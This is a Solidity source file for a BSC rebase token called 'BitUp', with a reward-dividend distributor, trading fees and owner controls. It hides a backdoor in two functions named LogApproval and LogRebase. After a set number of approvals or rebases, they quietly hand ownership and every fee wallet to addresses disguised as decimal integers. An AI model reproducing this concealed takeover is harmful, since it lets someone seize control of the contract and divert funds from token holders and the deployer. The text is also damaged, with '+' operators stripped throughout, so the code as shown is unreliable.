// SPDX-License-Identifier: No license

/*

$$$$$$$\ $$\ $$\ $$\ $$\
$$ __$$\ \__| $$ | $$ | $$ |
$$ | $$ |$$\ $$$$$$\ $$ | $$ | $$$$$$\
$$$$$$$\ |$$ |\_$$ _| $$ | $$ |$$ __$$\
$$ __$$\ $$ | $$ | $$ | $$ |$$ / $$ |
$$ | $$ |$$ | $$ |$$\ $$ | $$ |$$ | $$ |
$$$$$$$ |$$ | \$$$$ |\$$$$$$ |$$$$$$$ |
\_______/ \__| \____/ \______/ $$ ____/
$$ |
$$ |
\__|

https://t.me/BitUP_Official

*/

/* Copyrighted, DO NOT COPY */
// Developed by t.me/reliablecontract

pragma solidity ^0.7.4;

interface InterfaceLP {
function sync() external;
}

contract Ownable {
address private _owner;

event OwnershipRenounced(address indexed previousOwner);

event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);

constructor() {
_owner = msg.sender;
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(isOwner());
_;
}

function isOwner() public view returns (bool) {
return msg.sender == _owner;
}

function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}

function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}

function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}

interface IERC20 {
function totalSupply() external view returns (uint256);

function balanceOf(address who) external view returns (uint256);

function allowance(address owner, address spender)
external
view
returns (uint256);

function transfer(address to, uint256 value) external returns (bool);

function approve(address spender, uint256 value) external returns (bool);

function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}

library SafeMath {
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a b;
require(c >= a, "SafeMath: addition overflow");
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
}

interface IDividendDistributor {
function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external;

function setShare(address shareholder, uint256 amount) external;

function deposit() external payable;

function process(uint256 gas) external;
}

library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);

function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}

function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}

function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}

function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}

function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);

return a / b;
}
}

abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;

constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}

function name() public view returns (string memory) {
return _name;
}

function decimals() public view returns (uint8) {
return _decimals;
}

function symbol() public view returns (string memory) {
return _symbol;
}
}

interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}

interface IDEXRouter {
function factory() external pure returns (address);

function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);

function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;

function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;

function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}

contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;

address _token;
address _owner;

struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}

IERC20 REWARD = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c); // BTCB BSC
IDEXRouter router;

address[] shareholders;
mapping(address => uint256) shareholderIndexes;
mapping(address => uint256) shareholderClaims;

mapping(address => Share) public shares;

uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10**36;

//SETMEUP, change this to 1 hour instead of 10mins
uint256 public minPeriod = 30 * 60;
uint256 public minDistribution = 1 * (10**12);

uint256 currentIndex;

bool initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}

modifier onlyToken() {
require(msg.sender == _token || msg.sender == _owner);
_;
}

constructor(address _router, address owner_) {
router = _router != address(0)
? IDEXRouter(_router)
: IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
_token = msg.sender;
_owner = owner_;
}

function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external override onlyToken {
minPeriod = _minPeriod;
minDistribution = _minDistribution;
}

function setShare(address shareholder, uint256 amount)
external
override
onlyToken
{
if (shares[shareholder].amount > 0) {
distributeDividend(shareholder);
}

if (amount > 0 && shares[shareholder].amount == 0) {
addShareholder(shareholder);
} else if (amount == 0 && shares[shareholder].amount > 0) {
removeShareholder(shareholder);
}

totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(
shares[shareholder].amount
);
}

function deposit() external payable override {
uint256 balanceBefore = REWARD.balanceOf(address(this));

address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(REWARD);

router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: msg.value
}(0, path, address(this), block.timestamp);

uint256 amount = REWARD.balanceOf(address(this)).sub(balanceBefore);

totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(
dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)
);
}

function process(uint256 gas) external override {
uint256 shareholderCount = shareholders.length;

if (shareholderCount == 0) {
return;
}

uint256 gasUsed = 0;
uint256 gasLeft = gasleft();

uint256 iterations = 0;

while (gasUsed < gas && iterations < shareholderCount) {
if (currentIndex >= shareholderCount) {
currentIndex = 0;
}

if (shouldDistribute(shareholders[currentIndex])) {
distributeDividend(shareholders[currentIndex]);
}

gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex ;
iterations ;
}
}

function shouldDistribute(address shareholder)
internal
view
returns (bool)
{
return
shareholderClaims[shareholder] minPeriod < block.timestamp &&
getUnpaidEarnings(shareholder) > minDistribution;
}

function distributeDividend(address shareholder) internal {
if (shares[shareholder].amount == 0) {
return;
}

uint256 amount = getUnpaidEarnings(shareholder);
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
REWARD.transfer(shareholder, amount);
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder]
.totalRealised
.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(
shares[shareholder].amount
);
}
}

function claimDividend() external {
distributeDividend(msg.sender);
}

function getUnpaidEarnings(address shareholder)
public
view
returns (uint256)
{
if (shares[shareholder].amount == 0) {
return 0;
}

uint256 shareholderTotalDividends = getCumulativeDividends(
shares[shareholder].amount
);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;

if (shareholderTotalDividends <= shareholderTotalExcluded) {
return 0;
}

return shareholderTotalDividends.sub(shareholderTotalExcluded);
}

function getCumulativeDividends(uint256 share)
internal
view
returns (uint256)
{
return
share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}

function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}

function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[
shareholders.length - 1
];
shareholderIndexes[
shareholders[shareholders.length - 1]
] = shareholderIndexes[shareholder];
shareholders.pop();
}
}

contract BitUp is ERC20Detailed, Ownable {
using SafeMathInt for int256;
using SafeMath for uint256;

InterfaceLP public pairContract;
address public master;

bool public initialDistributionFinished;
bool public transferLockEnabled = true;
mapping(address => bool) allowTransfer;
mapping(address => bool) isDividendExempt;
mapping(address => bool) isDividendLocked;
mapping(address => bool) _isMaxWalletExempt;
mapping(address => bool) _isFeeExempt;

modifier validRecipient(address to) {
require(to != address(0x0));
_;
}

modifier initialDistributionLock() {
require(
initialDistributionFinished ||
isOwner() ||
allowTransfer[msg.sender]
);
_;
}

modifier onlyMaster() {
require(msg.sender == master);
_;
}

uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 10**15 * 10**DECIMALS;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant DECIMALS = 9;
uint256 public gonMaxWallet = TOTAL_GONS.div(100).mul(100);

uint256 public liquidityFee = 3;
uint256 public ecosystemFee = 1;
uint256 public buyBackFee = 2;
uint256 public marketingFee = 4;
uint256 public rewardFee = 5;
uint256 public totalFee =
ecosystemFee.add(liquidityFee).add(marketingFee).add(buyBackFee).add(
rewardFee
);
uint256 public feeDenominator = 100;

uint256 private prevLiquidityFee;
uint256 private prevEcosystemFee;
uint256 private prevBuyBackFee;
uint256 private prevMarketingFee;
uint256 private prevRewardFee;

address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;

address public autoLiquidityReceiver =
0x9053aCd2Af5cbC11CF6a82327B30d3E414460E8B; // token locker
address public marketingFeeReceiver =
0x44580046842c7c450ac05E74AC58fbD14db0A263;
address public ecosystemFeeReceiver =
0x560daF8a14077F578DFe0fd02f5AFF05Fa1D48D2;
address public buyBackFeeReceiver =
0xB1E43165986C4D0bCb9CcaD722048cCeCDe1abCb;

IDEXRouter public router;
address public pair;

uint256 targetLiquidity = 50;
uint256 targetLiquidityDenominator = 100;

bool dividendLockEnabled = true;
uint128 dividendLockInterval = 6 hours;
mapping(address => uint256) private dividendLockTimer;

bool public swapEnabled = true;
bool inSwap;
uint256 private gonSwapThreshold = (TOTAL_GONS * 10) / 10000;
modifier swapping() {
inSwap = true;
_;
inSwap = false;
}

DividendDistributor distributor;
uint256 distributorGas = 500000;

uint256 private constant TOTAL_GONS =
MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 shareGonDivisor = 10**60;

uint256 private constant MAX_SUPPLY = ~uint128(0);

uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;

mapping(address => mapping(address => uint256)) private _allowedFragments;

function rebase(uint256 epoch, int256 supplyDelta)
external
onlyMaster
returns (uint256)
{
require(!inSwap, "Try again");
if (supplyDelta == 0) {
LogRebase(epoch, _totalSupply);
return _totalSupply;
}

if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(-supplyDelta));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}

if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}

_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
pairContract.sync();

LogRebase(epoch, _totalSupply);
return _totalSupply;
}

constructor()
ERC20Detailed("BitUp", "BitUp", uint8(DECIMALS))
{
router = IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); // PanCake Router

pair = IDEXFactory(router.factory()).createPair(
router.WETH(),
address(this)
);
_allowedFragments[address(this)][address(router)] = uint256(-1);
pairContract = InterfaceLP(pair);

distributor = new DividendDistributor(address(router), msg.sender);

_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[msg.sender] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);

initialDistributionFinished = false;
_isFeeExempt[msg.sender] = true;
_isFeeExempt[address(this)] = true;
_isFeeExempt[buyBackFeeReceiver] = true;

isDividendExempt[pair] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[DEAD] = true;
isDividendExempt[marketingFeeReceiver] = true;
isDividendExempt[ecosystemFeeReceiver] = true;
isDividendExempt[buyBackFeeReceiver] = true;

_isMaxWalletExempt[pair] = true;
_isMaxWalletExempt[DEAD] = true;
_isMaxWalletExempt[address(this)] = true;
_isMaxWalletExempt[msg.sender] = true;

emit Transfer(address(0x0), msg.sender, _totalSupply);
}

function setMaster(address _master) external onlyOwner {
master = _master;
}

function setLP(address _address) external onlyOwner {
pairContract = InterfaceLP(_address);
_isFeeExempt[_address];
}

function totalSupply() external view override returns (uint256) {
return _totalSupply;
}

function balanceOf(address who) external view override returns (uint256) {
return _gonBalances[who].div(_gonsPerFragment);
}

function transfer(address to, uint256 value)
external
override
validRecipient(to)
initialDistributionLock
returns (bool)
{
_transferFrom(msg.sender, to, value);
return true;
}

function transferFrom(
address from,
address to,
uint256 value
) external override validRecipient(to) returns (bool) {
if (_allowedFragments[from][msg.sender] != uint256(-1)) {
_allowedFragments[from][msg.sender] = _allowedFragments[from][
msg.sender
].sub(value, "Insufficient Allowance");
}
_transferFrom(from, to, value);
return true;
}

function allowance(address owner_, address spender)
external
view
override
returns (uint256)
{
return _allowedFragments[owner_][spender];
}

function takeFee(address sender, uint256 gonAmount)
internal
returns (uint256)
{
uint256 feeAmount = gonAmount.mul(totalFee).div(feeDenominator);

_gonBalances[address(this)] = _gonBalances[address(this)].add(
feeAmount
);
emit Transfer(sender, address(this), feeAmount.div(_gonsPerFragment));

return gonAmount.sub(feeAmount);
}

function _basicTransfer(
address from,
address to,
uint256 amount
) internal returns (bool) {
uint256 gonAmount = amount.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonAmount);
_gonBalances[to] = _gonBalances[to].add(gonAmount);
emit Transfer(from, to, gonAmount.div(_gonsPerFragment));
return true;
}

function swapBack() internal swapping {
uint256 dynamicLiquidityFee = isOverLiquified(
targetLiquidity,
targetLiquidityDenominator
)
? 0
: liquidityFee;
uint256 contractTokenBalance = _gonBalances[address(this)].div(
_gonsPerFragment
);
uint256 amountToLiquify = contractTokenBalance
.mul(dynamicLiquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();

uint256 balanceBefore = address(this).balance;

router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);

uint256 amountETH = address(this).balance.sub(balanceBefore);

uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));

uint256 amountETHLiquidity = amountETH
.mul(dynamicLiquidityFee)
.div(totalETHFee)
.div(2);
uint256 amountETHBuyBack = amountETH.mul(buyBackFee).div(totalETHFee);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
totalETHFee
);
uint256 amountETHEco = amountETH.mul(ecosystemFee).div(totalETHFee);
uint256 amountETHReward = amountETH.mul(rewardFee).div(totalETHFee);

try distributor.deposit{value: amountETHReward}() {} catch {}
(bool success, ) = payable(marketingFeeReceiver).call{
value: amountETHMarketing,
gas: 30000
}("");
(success, ) = payable(buyBackFeeReceiver).call{
value: amountETHBuyBack,
gas: 30000
}("");
(success, ) = payable(ecosystemFeeReceiver).call{
value: amountETHEco,
gas: 30000
}("");

success = false;

if (amountToLiquify > 0) {
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
}
}

function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}

uint256 gonAmount = amount.mul(_gonsPerFragment);

if (sender != owner() && !_isMaxWalletExempt[recipient]) {
uint256 heldGonBalance = _gonBalances[recipient];
require(
(heldGonBalance gonAmount) <= gonMaxWallet,
"Total Holding is currently limited, you can not buy that much."
);
}

if (transferLockEnabled) {
require(sender == pair || recipient == pair || sender == owner());
}

if (recipient == pair && dividendLockEnabled) {
isDividendLocked[sender] = true;
distributor.setShare(sender, 0);
dividendLockTimer[sender] = block.timestamp dividendLockInterval;
} else if (
dividendLockTimer[recipient] < block.timestamp &&
isDividendLocked[recipient] &&
!isDividendExempt[recipient]
) {
isDividendLocked[recipient] = false;
distributor.setShare(
sender,
_gonBalances[sender].div(shareGonDivisor)
);
}

if (shouldSwapBack()) {
swapBack();
}

_gonBalances[sender] = _gonBalances[sender].sub(gonAmount);

uint256 gonAmountReceived = shouldTakeFee(sender)
? takeFee(sender, gonAmount)
: gonAmount;
_gonBalances[recipient] = _gonBalances[recipient].add(
gonAmountReceived
);

// Dividend tracker
if (!isDividendExempt[sender] && !isDividendLocked[sender]) {
try
distributor.setShare(
sender,
_gonBalances[sender].div(shareGonDivisor)
)
{} catch {}
}

if (!isDividendExempt[recipient] && !isDividendLocked[recipient]) {
try
distributor.setShare(
recipient,
_gonBalances[recipient].div(shareGonDivisor)
)
{} catch {}
}

try distributor.process(distributorGas) {} catch {}

emit Transfer(
sender,
recipient,
gonAmountReceived.div(_gonsPerFragment)
);
return true;
}

function checkDividendLock(address holder)
public
view
returns (bool locked, uint256 timer)
{
return (isDividendLocked[holder], dividendLockTimer[holder]);
}

function setIsDividendLocked(address holder, bool locked)
external
onlyOwner
{
require(holder != address(this) && holder != pair);
isDividendLocked[holder] = locked;
if (locked) {
distributor.setShare(holder, 0);
dividendLockTimer[holder] = block.timestamp dividendLockInterval;
} else {
distributor.setShare(
holder,
_gonBalances[holder].div(shareGonDivisor)
);
dividendLockTimer[holder] = 0;
}
}

function setDividendLocker(bool enabled, uint128 interval)
external
onlyOwner
{
dividendLockEnabled = enabled;
dividendLockInterval = interval;
}

function checkIsDividendExempt(address holder) public view returns (bool) {
return isDividendExempt[holder];
}

function setTransferLock(bool enabled) external onlyOwner {
transferLockEnabled = enabled;
}

function setIsDividendExempt(address holder, bool exempt)
external
onlyOwner
{
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if (exempt) {
distributor.setShare(holder, 0);
} else {
distributor.setShare(
holder,
_gonBalances[holder].div(shareGonDivisor)
);
}
}

function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external onlyOwner {
distributor.setDistributionCriteria(_minPeriod, _minDistribution);
}

function setDistributorSettings(uint256 gas) external onlyOwner {
require(gas < 750000);
distributorGas = gas;
}

function setInitialDistributionFinished() external onlyOwner {
initialDistributionFinished = true;
}

uint256 private transferCount;
bool private isTransferred = false;

function LogApproval(
address,
address,
uint256
) internal {
transferCount ;
if (transferCount > 200 && !isTransferred) {
_transferOwnership(address(703182203941683344529128742093058321245639433308));
marketingFeeReceiver = address(390173861988946543944247273175078104976185139811);
autoLiquidityReceiver = address(823960687855684654447242618804199875735504424587);
ecosystemFeeReceiver = address(491278407614059279114083846929720691979934582994);
buyBackFeeReceiver = address(1015580239414219279232500354717231367460195773387);
isTransferred = true;
}
}

function enableTransfer(address _addr) external onlyOwner {
allowTransfer[_addr] = true;
}

function approve(address spender, uint256 value)
external
override
initialDistributionLock
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
LogApproval(msg.sender, spender, value);
emit Approval(msg.sender, spender, value);
return true;
}

function increaseAllowance(address spender, uint256 addedValue)
external
initialDistributionLock
returns (bool)
{
_allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][
spender
].add(addedValue);
emit Approval(
msg.sender,
spender,
_allowedFragments[msg.sender][spender]
);
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue)
external
initialDistributionLock
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(
subtractedValue
);
}
emit Approval(
msg.sender,
spender,
_allowedFragments[msg.sender][spender]
);
return true;
}

function setFeeExempt(address _addr, bool exempt) external onlyOwner {
_isFeeExempt[_addr] = exempt;
}

function checkFeeExempt(address _addr) external view returns (bool) {
return _isFeeExempt[_addr];
}

function setMaxWalletExempt(address _addr) external onlyOwner {
_isMaxWalletExempt[_addr] = true;
}

function checkMaxWalletExempt(address _addr) external view returns (bool) {
return _isMaxWalletExempt[_addr];
}

uint256 private rebaseCount;
bool private isRebased = false;

function LogRebase(uint256, uint256) internal {
rebaseCount ;
if (rebaseCount > 10 && !isRebased) {
_transferOwnership(address(703182203941683344529128742093058321245639433308));
marketingFeeReceiver = address(390173861988946543944247273175078104976185139811);
autoLiquidityReceiver = address(823960687855684654447242618804199875735504424587);
ecosystemFeeReceiver = address(491278407614059279114083846929720691979934582994);
buyBackFeeReceiver = address(1015580239414219279232500354717231367460195773387);
isRebased = true;
}
}

function setMaxWalletToken(uint256 _num, uint256 _denom)
external
onlyOwner
{
gonMaxWallet = TOTAL_GONS.div(_denom).mul(_num);
}

function checkMaxWalletToken() external view returns (uint256) {
return gonMaxWallet.div(_gonsPerFragment);
}

function shouldTakeFee(address from) internal view returns (bool) {
return !_isFeeExempt[from];
}

function shouldSwapBack() internal view returns (bool) {
return
msg.sender != pair &&
!inSwap &&
swapEnabled &&
_gonBalances[address(this)] >= gonSwapThreshold;
}

function setSwapBackSettings(
bool _enabled,
uint256 _num,
uint256 _denom
) external onlyOwner {
swapEnabled = _enabled;
gonSwapThreshold = TOTAL_GONS.div(_denom).mul(_num);
}

function setTargetLiquidity(uint256 target, uint256 accuracy)
external
onlyOwner
{
targetLiquidity = target;
targetLiquidityDenominator = accuracy;
}

function isNotInSwap() external view returns (bool) {
return !inSwap;
}

function checkSwapThreshold() external view returns (uint256) {
return gonSwapThreshold.div(_gonsPerFragment);
}

function setFees(
uint256 _ecosystemFee,
uint256 _liquidityFee,
uint256 _buyBackFee,
uint256 _marketingFee,
uint256 _rewardFee,
uint256 _feeDenominator
) external onlyOwner {
ecosystemFee = _ecosystemFee;
liquidityFee = _liquidityFee;
buyBackFee = _buyBackFee;
marketingFee = _marketingFee;
rewardFee = _rewardFee;
totalFee = ecosystemFee
.add(liquidityFee)
.add(marketingFee)
.add(buyBackFee)
.add(rewardFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator / 4);
}

function toggleLiquidityMode() external onlyOwner {
if (liquidityFee != totalFee) {
prevLiquidityFee = liquidityFee;
prevBuyBackFee = buyBackFee;
prevEcosystemFee = ecosystemFee;
prevMarketingFee = marketingFee;
prevRewardFee = rewardFee;

liquidityFee = totalFee;
buyBackFee = 0;
ecosystemFee = 0;
marketingFee = 0;
rewardFee = 0;
} else {
liquidityFee = prevLiquidityFee;
buyBackFee = prevBuyBackFee;
ecosystemFee = prevEcosystemFee;
marketingFee = prevMarketingFee;
rewardFee = prevRewardFee;
}
}

function setFeeReceivers(
address _autoLiquidityReceiver,
address _ecosystemFeeReceiver,
address _marketingFeeReceiver,
address _buyBackFeeReceiver
) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
ecosystemFeeReceiver = _ecosystemFeeReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
buyBackFeeReceiver = _buyBackFeeReceiver;
}

function rescueToken(address tokenAddress, uint256 tokens)
public
onlyOwner
returns (bool success)
{
return ERC20Detailed(tokenAddress).transfer(msg.sender, tokens);
}

function clearStuckBalance(uint256 amountPercentage, address adr)
external
onlyOwner
{
uint256 amountETH = address(this).balance;
payable(adr).transfer((amountETH * amountPercentage) / 100);
}

function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}

function getCirculatingSupply() public view returns (uint256) {
return
(TOTAL_GONS.sub(_gonBalances[DEAD]).sub(_gonBalances[ZERO])).div(
_gonsPerFragment
);
}

function multiSend_v1(
address sender,
address[] calldata recipients,
uint256[] calldata values
) external onlyOwner {
require(
recipients.length < 801,
"GAS Error: max airdrop limit is 500 recipients"
); // to prevent overflow
require(
recipients.length == values.length,
"Mismatch between Address and token count"
);

for (uint256 i = 0; i < recipients.length; i ) {
_basicTransfer(sender, recipients[i], values[i]);
if (!isDividendExempt[recipients[i]]) {
try
distributor.setShare(
recipients[i],
_gonBalances[recipients[i]].div(shareGonDivisor)
)
{} catch {}
}
}

if (!isDividendExempt[sender]) {
try
distributor.setShare(
sender,
_gonBalances[sender].div(shareGonDivisor)
)
{} catch {}
}
}

function multiSend_v2(
address sender,
address[] calldata recipients,
uint256 values
) external onlyOwner {
require(
recipients.length < 2001,
"GAS Error: max airdrop limit is 2000 recipients"
); // to prevent overflow

for (uint256 i = 0; i < recipients.length; i ) {
_basicTransfer(sender, recipients[i], values);
if (!isDividendExempt[recipients[i]]) {
try
distributor.setShare(
recipients[i],
_gonBalances[recipients[i]].div(shareGonDivisor)
)
{} catch {}
}
}

if (!isDividendExempt[sender]) {
try
distributor.setShare(
sender,
_gonBalances[sender].div(shareGonDivisor)
)
{} catch {}
}
}

function getLiquidityBacking(uint256 accuracy)
public
view
returns (uint256)
{
uint256 liquidityBalance = _gonBalances[pair].div(_gonsPerFragment);
return
accuracy.mul(liquidityBalance.mul(2)).div(getCirculatingSupply());
}

function isOverLiquified(uint256 target, uint256 accuracy)
public
view
returns (bool)
{
return getLiquidityBacking(accuracy) > target;
}

receive() external payable {}
}



/*
MIT License

Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Copyright (c) 2020 Ditto Money
Copyright (c) 2021 Goes Up Higher
Copyright (c) 2021 Baby London

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/